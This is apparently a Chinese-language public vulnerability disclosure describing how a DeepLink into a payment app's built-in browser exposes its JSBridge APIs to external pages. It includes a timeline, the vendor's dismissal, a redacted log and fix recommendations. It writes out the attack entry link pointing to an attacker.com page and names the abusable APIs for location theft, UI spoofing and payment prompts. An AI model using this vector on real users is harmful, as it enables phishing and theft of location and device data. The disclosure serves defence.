INNORA AI 安全研究
📌 完整技术报告(含在线 PoC 演示)
🌐 研究主站:https://innora.ai/zfb/
🐙 GitHub 仓库:github.com/sgInnora/alipay-deeplink-research
⚠️ 为防删除,请自行 Fork 仓库或保存页面到本地备份!
· · ·
2026年3月7日,我们向某头部支付平台提交了一份包含 17个安全漏洞 的完整研究报告,附带 308 条服务器日志和 42 张真机截图作为证据。
厂商的回复只有四个字:「正常功能」。
我们决定公开全部研究成果。
攻击只需一步:点击一个链接
不需要 Root。不需要越狱。不需要任何特殊权限。
受害者只需要做一件事 —— 在微信、QQ 或短信中点击一个链接。
这个链接会通过 DeepLink 协议直接打开目标支付App,在其内置浏览器中加载攻击者的网页。而这个网页,可以调用 App 内部的 JavaScript Bridge 接口 —— 无需任何额外授权。
📱 攻击流程:
攻击者发送链接 (伪装成红包/活动)
↓
受害者点击 → 浏览器解析 DeepLink
↓
支付App自动启动 → 加载攻击者页面
↓
JSBridge 全部开放 → 数据被窃取
能窃取什么?
🔴 CRITICAL — 严重
1. GPS 实时定位窃取
调用 getLocation 接口,静默获取经纬度、城市、国家。当用户曾授予App定位权限时,外部攻击页面可直接获取,不会弹出任何授权提示。
2. 转账页面预填充
调用 startApp 打开转账功能并预填金额和收款账户。最终确认仍需用户操作,但在 UI 欺骗场景下可诱导用户完成。
3. 支付接口调用
调用 tradePay 接口可弹出支付确认页。用户取消后返回 resultCode=6001,但攻击者可反复触发,配合 UI 伪装进行钓鱼。
🟠 HIGH — 高危
4. 设备完整指纹
品牌、型号、系统版本、存储、电量、屏幕分辨率、蓝牙/WiFi/摄像头/麦克风授权状态 —— 一次全部泄露。
5. 标题栏欺骗
调用 setTitle 将标题栏改为「账户安全中心」,配合 Toast 弹窗伪造系统通知。用户无法区分真假界面。
6. 敏感页面直达
通过 startApp 直接跳转至交易记录、转账联系人、付款码、余额、安全设置、银行卡管理等 11 个敏感页面,无额外确认。
🔵 MEDIUM — 中危
7-9. 网络信息 / 会话泄露 / 服务器时间同步
WiFi/蜂窝状态、sessionId、sourcePackageName(知道你从哪来的),以及支付宝服务器精确时间。
10-13. 链式 WebView / Scheme 注入
pushWindow 可以无限打开新页面,每个页面都自动获得完整 JSBridge 权限。还可注入 tel: / sms: 协议触发拨号和短信。
14-17. 剪贴板操作 / 联系人选择 / 分享劫持
读写剪贴板、弹出联系人选择器、触发分享面板 —— 全部可从外部页面调用。
· · ·
真机实测证据
我们在 3 台不同设备、3 个不同国家 进行了交叉验证:
📱 Samsung S25 Ultra — Android 15, 新西兰
📱 Redmi 12 — Android 14, 马来西亚
📱 iPhone 16 Pro — iOS 18.3, 中国大陆
共获取 308 条 服务器端数据日志,42 张 真机截图。攻击者页面成功从这三台设备上静默获取了 GPS 坐标、设备指纹、网络信息等敏感数据。
服务器日志示例:
// 真实日志摘录 (已脱敏)
{
"tag": "GPS_Location",
"data": {
"latitude": "-36.8***",
"longitude": "174.7***",
"city": "Auckland",
"country": "NZ"
},
"device": "SM-S938B",
"timestamp": "2026-03-07T09:14:22Z"
}
· · ·
负责任披露时间线
2026-02-25 —— 首次报告 (TLS/SSL 发现) → 官方 SRC 邮箱
2026-03-07 —— 完整 V3 报告 (17漏洞 + 308日志 + 42截图) → 安全联系人
2026-03-08 —— 厂商回复:「根据我们的评估这些属于正常功能」
2026-03-11 —— 公开披露
我们理解厂商有自己的风险评估标准。但当一个外部网页可以在 App 内静默获取用户 GPS 定位、伪造应用界面进行钓鱼、甚至预填转账信息时,将其定性为「正常功能」,我们无法认同。
公开披露不是为了对抗,而是为了让更多安全研究人员和用户知情,共同推动问题解决。
· · ·
在线 PoC 演示(只读,不收集数据)
我们提供了三个在线 PoC 页面,所有数据仅在本地展示,不会传输至任何服务器:
🎯 Trigger Page — 模拟攻击者分发页面
🔓 JSBridge PoC — 演示外部页面的 API 访问能力
🔗 Chain WebView — 证明链式页面仍保留完整 Bridge 权限
· · ·
为什么选择公开?
我们完全遵循了负责任披露流程 —— 先私下报告,等待厂商响应。厂商明确回复这些是「正常功能」,表示不会修复。
在这种情况下,公开是唯一能推动改变的方式。我们希望:
1️⃣ 用户知道自己的隐私正在被「正常功能」暴露
2️⃣ 安全研究社区可以独立验证我们的发现
3️⃣ 厂商重新审视这些问题的严重性
4️⃣ 整个行业认真对待 DeepLink 攻击面
· · ·
⚠️ 重要澄清
本研究未发现零交互自动扣款漏洞。转账预填充仍需用户手动确认。GPS 获取依赖于用户此前已授予该App定位权限。
核心风险在于:任何外部HTTPS网页通过 DeepLink 加载后,可以调用大量本应仅限于官方小程序使用的内部接口,且无需额外授权。这将传统钓鱼攻击的杀伤力提升了一个数量级。
技术要点
攻击的核心入口是 DeepLink URI scheme:
alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/evil.html
其中 appId=20000067 是内置浏览器组件。任何 HTTPS URL 都可以通过这个方式在 App 的 WebView 容器中打开,而 WebView 会自动注入 AlipayJSBridge 对象,提供 50+ 个内部 API。
更详细的攻击链分析、每个 API 的调用代码、服务器日志原文,请参阅完整报告。
· · ·
🛡️ 多节点存档(防删除)
本研究已在多个独立节点同步发布。如发现任一地址不可访问,请从其他节点获取。
🌐 研究主站:https://innora.ai/zfb/
⚠️ 请 Fork GitHub 仓库 / 保存页面到本地 / 转发本文,帮助保留证据!
修复建议
我们同时提供了完整的修复建议方案:
🔒 URL 白名单:仅允许官方域名通过 appId=20000067 加载
🔒 JSBridge 分级:外部页面仅开放基础 API,敏感接口需域名+签名验证
🔒 DeepLink 确认:外部来源的 DeepLink 必须弹出安全确认弹窗
🔒 位置权限:WebView 中的 getLocation 应独立于系统权限,需显式授权
🔒 UI 隔离:外部页面禁止 setTitle/toast,或添加不可欺骗的安全标识
· · ·
法律声明:本研究仅用于安全教育目的。所有测试在研究者自有账户和设备上进行,未对第三方账户或数据进行未授权访问。PoC 页面为只读演示,已禁用所有数据外传功能。本研究遵循负责任披露流程,厂商已获得充分时间响应。
Innora AI 安全研究团队
feng@innora.ai
2026-03-11
— END —